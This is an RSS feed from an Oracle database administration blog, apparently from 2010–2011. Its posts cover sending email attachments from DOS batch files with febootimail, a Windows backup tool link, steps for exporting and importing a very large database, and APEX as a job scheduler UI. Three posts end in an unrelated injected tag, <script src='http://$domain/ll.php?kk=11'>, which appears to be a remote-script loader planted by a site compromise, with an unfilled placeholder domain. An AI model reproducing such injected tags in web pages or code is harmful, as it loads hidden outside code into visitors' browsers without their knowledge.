<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Oracle Database Administration Blog &#187; Tools</title>
	<atom:link href="http://www.bestremotedba.com/topics/tools/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.bestremotedba.com</link>
	<description>Specially Created for Remote DBAs and Junior DBAs</description>
	<lastBuildDate>Fri, 30 Dec 2011 05:43:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Dos batch to send email with Attachment</title>
		<link>http://www.bestremotedba.com/dos-batch-to-send-email-with-attachment/</link>
		<comments>http://www.bestremotedba.com/dos-batch-to-send-email-with-attachment/#comments</comments>
		<pubDate>Tue, 25 Oct 2011 03:13:53 +0000</pubDate>
		<dc:creator>mudhalvan</dc:creator>
				<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=1018</guid>
		<description><![CDATA[Dos batch to send email with Attachment ]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p><strong>Command syntax:</strong></p>
<div>
<ul>
<li><code>febootimail -ATTACH image.jpg</code></li>
<li><code>febootimail -ATTACH *.doc -ATTACH 20??-file.gif</code></li>
<li><code>febootimail -FILE document.doc -ATTACH "C:\my music\music.mp3"</code></li>
<li><code>febootimail -FILE "image.jpg | C:\my music\music.mp3 | data.txt"</code></li>
</ul>
</div>
<p><strong>-ATTACH</strong> or <strong>-FILE</strong> switch specifies which files will be added to message when sending email from command line. If attachment file path is not specified, attachments are taken from the folder in which Febootimail is executed.</p>
<p>Since Febooti Command line email version 3.0 it is possible to use file masks (e.g. &#8220;*.*&#8221; or &#8220;files*.jp?&#8221;) with -ATTACH (or -FILE) parameter thus cancelling the need for batch files.</p>
<p>Pay attention that if spaces are used either in file name or folder name, expression has to be put in quotes. If many files are sent, -ATTACH switch must be repeated before each file or separate filenames by using | (<em>pipe</em>).</p>
<div>
<div>
<div>
<div>
<div> </div>
<div id="o11"><code id="o31">C:\&gt;febootimail -SERVER smtp.server.com -FROM jack@sender.com -TO john@recipients.com -ATTACH "c:\My Presentations\presentation.ppt | c:\terms\terms.txt" -TEXT DOS mailing out presentation and term files as attachments </code></div>
</div>
</div>
</div>
</div>
<p>Text files can be sent out either as plain message or as attachment. In the latter case text file formatting will not be interpreted arbitrary by email clients, so that it is useful to send text files as attachments if every byte has to be preserved as is.</p>
<div>
<div>
<div>
<div>
<div> </div>
<div id="o12"><code id="o32">C:\&gt;febootimail *other mail parameters* -ATTACH plaintextfile.txt -TEXT "send e-mail from DOS with text file attachment" </code></div>
</div>
</div>
</div>
</div>
<p id="batch">If many files are to be sent as attachments with command line mail utility, it is most convenient to create batch file.</p>
<div>
<div>
<div>
<div>
<div> </div>
<div id="o13"><code id="o33">@echo off<br />
rem send all files as attachments. one attach per email...</p>
<p>for %%i in (*.*) do Febootimail *other params* -ATTACH %%i </code></div>
</div>
</div>
</div>
</div>
<p>Note that (*.*) stands for file mask where (*.*) means that all files will be sent as attachments. If (*.doc) is used, all files with extension .doc will be sent. If (??-dec*.d?c) is specified, only files that have &#8220;-dec&#8221; in their names as 3rd to 6th characted and extension that starts with &#8220;d&#8221; and ends with &#8220;c&#8221; (with 2nd character being any) are to be sent.</p>
<p id="all">Also, note that in example above every file is sent as separate email. If all files have to be attached to single email message, use the batch files from example given below.</p>
<div>
<div>
<div>
<div>
<div> </div>
<div id="o14"><code id="o34">@echo off<br />
rem this is batch file - <strong>do.bat</strong><br />
rem will call batch file - <strong>send.bat</strong></p>
<p>cmd /v /c send.bat</p>
<p>rem /v - delayed environment variable expansion<br />
rem /c carries out the command specified by string<br />
rem Call this file from Windows 2000 / XP / 2003 / Vista </code></div>
</div>
</div>
</div>
</div>
<div>
<div>
<div>
<div>
<div> </div>
<div><code id="o35">@echo off<br />
rem batch file - <strong>send.bat</strong> must be called from file <strong>do.bat</strong></p>
<p>rem Gathering all files in current folder with mask specified...<br />
dir *.doc /A-D /B &gt; tmp</p>
<p>rem Expand environment variable attach as long as needed...<br />
for /F "tokens=*" %%i in (tmp) do set attach=!attach! -ATTACH %%i</p>
<p>rem Send all files / attachments in single email...<br />
febootimail &lt;standard params excluding -ATTACH&gt; %ATTACH%</p>
<p>rem Cleaning temporary file...<br />
del tmp </code></div>
<div><code></code> </div>
<div><code>Download febootimail from following Link.</code></div>
</div>
</div>
</div>
</div>
<p><a href="http://www.febooti.com/products/command-line-email/online-help/commands/dos-e-mail-automate-attachment-sending.html">http://www.febooti.com/products/command-line-email/online-help/commands/dos-e-mail-automate-attachment-sending.html</a></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/dos-batch-to-send-email-with-attachment/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Windows Backup</title>
		<link>http://www.bestremotedba.com/windows-backup/</link>
		<comments>http://www.bestremotedba.com/windows-backup/#comments</comments>
		<pubDate>Thu, 18 Nov 2010 06:13:35 +0000</pubDate>
		<dc:creator>mudhalvan</dc:creator>
				<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=841</guid>
		<description><![CDATA[Windows Backup]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>I have used this Backup and it is working fine in Windows.</p>
<p>http://www.argentuma.com/backup/software/windows-backup.html</p>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/windows-backup/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Export &#8211; Import Very Large Database</title>
		<link>http://www.bestremotedba.com/export-import-very-large-database/</link>
		<comments>http://www.bestremotedba.com/export-import-very-large-database/#comments</comments>
		<pubDate>Wed, 27 Jan 2010 02:38:08 +0000</pubDate>
		<dc:creator>mudhalvan</dc:creator>
				<category><![CDATA[Tools]]></category>
		<category><![CDATA[Export - Import Very Large Database]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/export-import-very-large-database/</guid>
		<description><![CDATA[Export - Import Very Large Database]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>Export &#8211; Import Very Large Database</p>
<p>Step 1:</p>
<p>	EXP FULL=Y ROWS=N from the source-db then IMP FULL=Y ROWS=N INDEXES=N CONSTRAINTS=N into the target-db </p>
<p>	The idea is to lay down the tablespaces and table definitions in the target-db.  Depending on similarities (or the lack thereof) between the two dbs, you may or may not be able to create tablespaces using IMP, but the goal is to import tables DDL and the DDL for other objects (but not indexes and constraints) using IMP<br />
	Don&#8217;t forget to disable all DML triggers created in target-db before going on to the next step&#8230;</p>
<p>Step 2:<br />
		Disable Logging on All segment Level (Table &#038; Table Space)</p>
<p>Step 3:<br />
	Run as many concurrent exp/imp streams as you can between the source-db and target-db to copy the table data across Goal is to keep as many streams running concurrently as possible.  For smaller tables, one exp/imp stream per table.  For larger tables, one exp/imp stream per partition or one exp/imp stream per section of the table specified using EXP QUERY=</p>
<p>Step 4:<br />
	Create indexes and constraints using previously-obtained EXP FULL=Y ROWS=N in step #1 Usually I just extract the DDL using IMP INDEXFILES= and create SQL*Plus scripts for this, so I can break the task up into many concurrently running jobs for speed&#8230;</p>
<p>Step 5:<br />
	Enable Logging and Trigger<br />
<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/export-import-very-large-database/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Oracle Database Job Scheduler UI</title>
		<link>http://www.bestremotedba.com/oracle-database-job-scheduler-ui/</link>
		<comments>http://www.bestremotedba.com/oracle-database-job-scheduler-ui/#comments</comments>
		<pubDate>Tue, 26 Jan 2010 06:53:48 +0000</pubDate>
		<dc:creator>mudhalvan</dc:creator>
				<category><![CDATA[Tools]]></category>
		<category><![CDATA[APEX]]></category>
		<category><![CDATA[Oracle Database Job Scheduler GUI]]></category>
		<category><![CDATA[Oracle Database Job Scheduler UI]]></category>
		<category><![CDATA[Oracle Job Apex]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=527</guid>
		<description><![CDATA[Oracle Database Job Scheduler UI]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>1. Oracle APEX<br />
                Oracle Application Express (Oracle APEX), formerly called HTML DB, is a rapid web application development tool for the Oracle database.<br />
                APEX can be used as GUI/UI for Oracle Database Job Scheduler.<br />
                <a href="http://www.oracle.com/technology/products/database/application_express/index.html">APEX</a><br />
2. Database Control / Grid Control <script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/oracle-database-job-scheduler-ui/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

